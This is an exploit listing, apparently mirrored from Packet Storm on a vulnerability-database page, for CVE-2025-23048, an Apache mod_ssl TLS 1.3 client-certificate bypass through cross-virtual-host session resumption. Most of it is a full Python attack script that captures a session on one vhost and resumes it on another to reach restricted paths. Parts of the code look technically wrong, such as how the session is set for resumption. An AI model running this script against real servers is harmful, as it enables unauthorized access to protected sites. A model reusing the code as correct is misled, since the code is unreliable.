Lucene search
K

📄 Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass

🗓️ 23 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 889 Views

Apache mod_ssl TLS 1.3 allows cross-virtual-host session resumption bypassing client cert validation.

Related
Code
=============================================================================================================================================
    | # Title     : Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://httpd.apache.org/docs/current/mod/mod_ssl.html                                                                      |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/210763/ & CVE-2025-23048
    
    [+] Summary    : A flaw in Apache mod_ssl TLS 1.3 session resumption allows a client-authenticated TLS session to be resumed across different virtual hosts without re-validating
                     the client certificate or trusted CA configuration.
    
    [+] Impact:
    
    An attacker with a valid client certificate for one virtual host can gain
    unauthorized access to another virtual host protected by a different CA.
    
    [+] Attack Vector:
    
    - TLS 1.3 Session Resumption
    - Client Certificate Authentication
    - Multiple Virtual Hosts
    
    [+] Tested Environment:
    
    - Apache HTTPD with mod_ssl
    - TLS 1.3 enabled
    - Client Certificate Authentication enabled
    - Multiple vhosts with different CA trust stores
    
    [+] POC :
    
    #!/usr/bin/env python3
    
    import ssl
    import socket
    import sys
    import argparse
    from typing import Optional, Tuple
    import time
    
    class CVE2025_23048_Exploit:
        def __init__(self, host: str, port: int = 443):
            self.host = host
            self.port = port
            self.session_data = None
            
        def create_ssl_context(self, 
                              certfile: Optional[str] = None,
                              keyfile: Optional[str] = None,
                              cafile: Optional[str] = None,
                              server_hostname: Optional[str] = None) -> ssl.SSLContext:
            """Create SSL context with specified parameters"""
            context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            context.minimum_version = ssl.TLSVersion.TLSv1_3
            context.maximum_version = ssl.TLSVersion.TLSv1_3
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            
            if cafile:
                context.load_verify_locations(cafile)
                context.verify_mode = ssl.CERT_REQUIRED
            
            if certfile and keyfile:
                context.load_cert_chain(certfile, keyfile)
                
            if server_hostname:
                context.server_hostname = server_hostname
                
            return context
        
        def perform_full_handshake(self, 
                                  vhost: str,
                                  certfile: str,
                                  keyfile: str,
                                  cafile: str) -> Tuple[bool, bytes]:
            """
            Perform full TLS 1.3 handshake with client certificate
            Returns: (success, session_data)
            """
            print(f"[+] Performing full TLS 1.3 handshake with {vhost}")
            
            context = self.create_ssl_context(
                certfile=certfile,
                keyfile=keyfile,
                cafile=cafile,
                server_hostname=vhost
            )
            
            try:
                # Create socket and wrap with SSL
                sock = socket.create_connection((self.host, self.port))
                ssl_sock = context.wrap_socket(sock, server_hostname=vhost)
                
                # Get session data for resumption
                self.session_data = ssl_sock.session
                
                # Test access
                request = f"GET / HTTP/1.1\r\nHost: {vhost}\r\n\r\n"
                ssl_sock.send(request.encode())
                response = ssl_sock.recv(4096)
                
                print(f"[*] Connected to {vhost}")
                print(f"[*] HTTP Status: {response.decode().split('\\r\\n')[0]}")
                print(f"[*] Session ticket captured: {self.session_data is not None}")
                
                ssl_sock.close()
                return True, self.session_data
                
            except Exception as e:
                print(f"[-] Error during full handshake: {e}")
                return False, None
        
        def resume_session(self, 
                          vhost: str,
                          session_data: bytes,
                          cafile: Optional[str] = None,
                          protected_path: str = "/") -> bool:
            """
            Resume TLS session to different vhost
            Returns: True if bypass successful
            """
            print(f"\n[+] Attempting session resumption to {vhost}")
            
            context = self.create_ssl_context(
                cafile=cafile,
                server_hostname=vhost
            )
            
            try:
                # Set the session for resumption
                context.session = session_data
                
                # Connect with session resumption
                sock = socket.create_connection((self.host, self.port))
                ssl_sock = context.wrap_socket(sock, server_hostname=vhost)
                
                # Check if session was resumed
                if ssl_sock.session_reused:
                    print(f"[!] SUCCESS: Session resumed to {vhost}")
                    
                    # Try to access protected resource
                    request = f"GET {protected_path} HTTP/1.1\r\nHost: {vhost}\r\n\r\n"
                    ssl_sock.send(request.encode())
                    response = ssl_sock.recv(8192)
                    
                    response_str = response.decode('utf-8', errors='ignore')
                    status_line = response_str.split('\r\n')[0]
                    
                    print(f"[*] HTTP Response: {status_line}")
                    
                    # Check if access was granted
                    if "200 OK" in status_line:
                        print(f"[!] CRITICAL: Unauthorized access successful!")
                        print(f"[!] Accessed {protected_path} on {vhost} without valid certificate")
                        
                        # Extract some response content
                        if "Vhost2 Secret" in response_str or "Restricted" in response_str:
                            print(f"[!] Confirmed access to protected content!")
                            # Print snippet of response
                            lines = response_str.split('\r\n')
                            for line in lines[-10:]:  # Last 10 lines
                                if line.strip():
                                    print(f"    Content: {line[:100]}...")
                        
                        return True
                    else:
                        print(f"[-] Access denied: {status_line}")
                        return False
                else:
                    print("[-] Session was not resumed (full handshake occurred)")
                    return False
                    
            except Exception as e:
                print(f"[-] Error during session resumption: {e}")
                return False
        
        def exploit(self, 
                   vhost1: str,
                   cert1: str,
                   key1: str,
                   ca1: str,
                   vhost2: str,
                   ca2: str,
                   protected_path: str = "/restricted/"):
            """
            Complete exploitation chain
            """
            print(f"""
            ╔════════════════════════════════════════════════════════════════════════════════╗
            ║  Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass By indoushka  ║
            ╚════════════════════════════════════════════════════════════════════════════════╝
            
            Target: {self.host}:{self.port}
            Vhost1: {vhost1} (Legitimate access with CA1)
            Vhost2: {vhost2} (Should require CA2)
            Protected Path: {protected_path}
            """)
            
            # Step 1: Authenticate to vhost1
            print("\n" + "="*60)
            print("STEP 1: Legitimate authentication to first vhost")
            print("="*60)
            
            success, session = self.perform_full_handshake(vhost1, cert1, key1, ca1)
            
            if not success or not session:
                print("[-] Failed to establish initial session")
                return False
            
            # Small delay
            time.sleep(1)
            
            # Step 2: Resume session to vhost2
            print("\n" + "="*60)
            print("STEP 2: Session resumption attack on second vhost")
            print("="*60)
            
            # Try with CA2 (should fail in proper validation)
            # But with the vulnerability, session will be resumed without validation
            bypass_success = self.resume_session(
                vhost2, 
                session, 
                ca2,  # This CA won't be properly checked during resumption
                protected_path
            )
            
            # Try also without any CA file (shouldn't work but demonstrates the bug)
            print("\n" + "="*60)
            print("STEP 3: Testing without any CA validation")
            print("="*60)
            
            bypass_without_ca = self.resume_session(
                vhost2,
                session,
                None,  # No CA file at all
                protected_path
            )
            
            if bypass_success or bypass_without_ca:
                print("\n[!] EXPLOIT SUCCESSFUL!")
                print("[!] Client certificate authentication was bypassed")
                return True
            else:
                print("\n[-] Exploit failed")
                return False
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass By indoushka"
        )
        parser.add_argument("--host", required=True, help="Target Apache server IP")
        parser.add_argument("--port", type=int, default=443, help="HTTPS port (default: 443)")
        parser.add_argument("--vhost1", required=True, help="First virtual hostname")
        parser.add_argument("--cert1", required=True, help="Client certificate for vhost1")
        parser.add_argument("--key1", required=True, help="Client private key for vhost1")
        parser.add_argument("--ca1", required=True, help="CA certificate for vhost1")
        parser.add_argument("--vhost2", required=True, help="Second virtual hostname to attack")
        parser.add_argument("--ca2", required=True, help="CA certificate that vhost2 should trust")
        parser.add_argument("--path", default="/restricted/", help="Protected path on vhost2")
        
        args = parser.parse_args()
        
        # Check if required files exist
        import os
        for file in [args.cert1, args.key1, args.ca1, args.ca2]:
            if not os.path.exists(file):
                print(f"[-] File not found: {file}")
                return
        
        exploit = CVE2025_23048_Exploit(args.host, args.port)
        exploit.exploit(
            vhost1=args.vhost1,
            cert1=args.cert1,
            key1=args.key1,
            ca1=args.ca1,
            vhost2=args.vhost2,
            ca2=args.ca2,
            protected_path=args.path
        )
    
    
    if __name__ == "__main__":
        main()
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation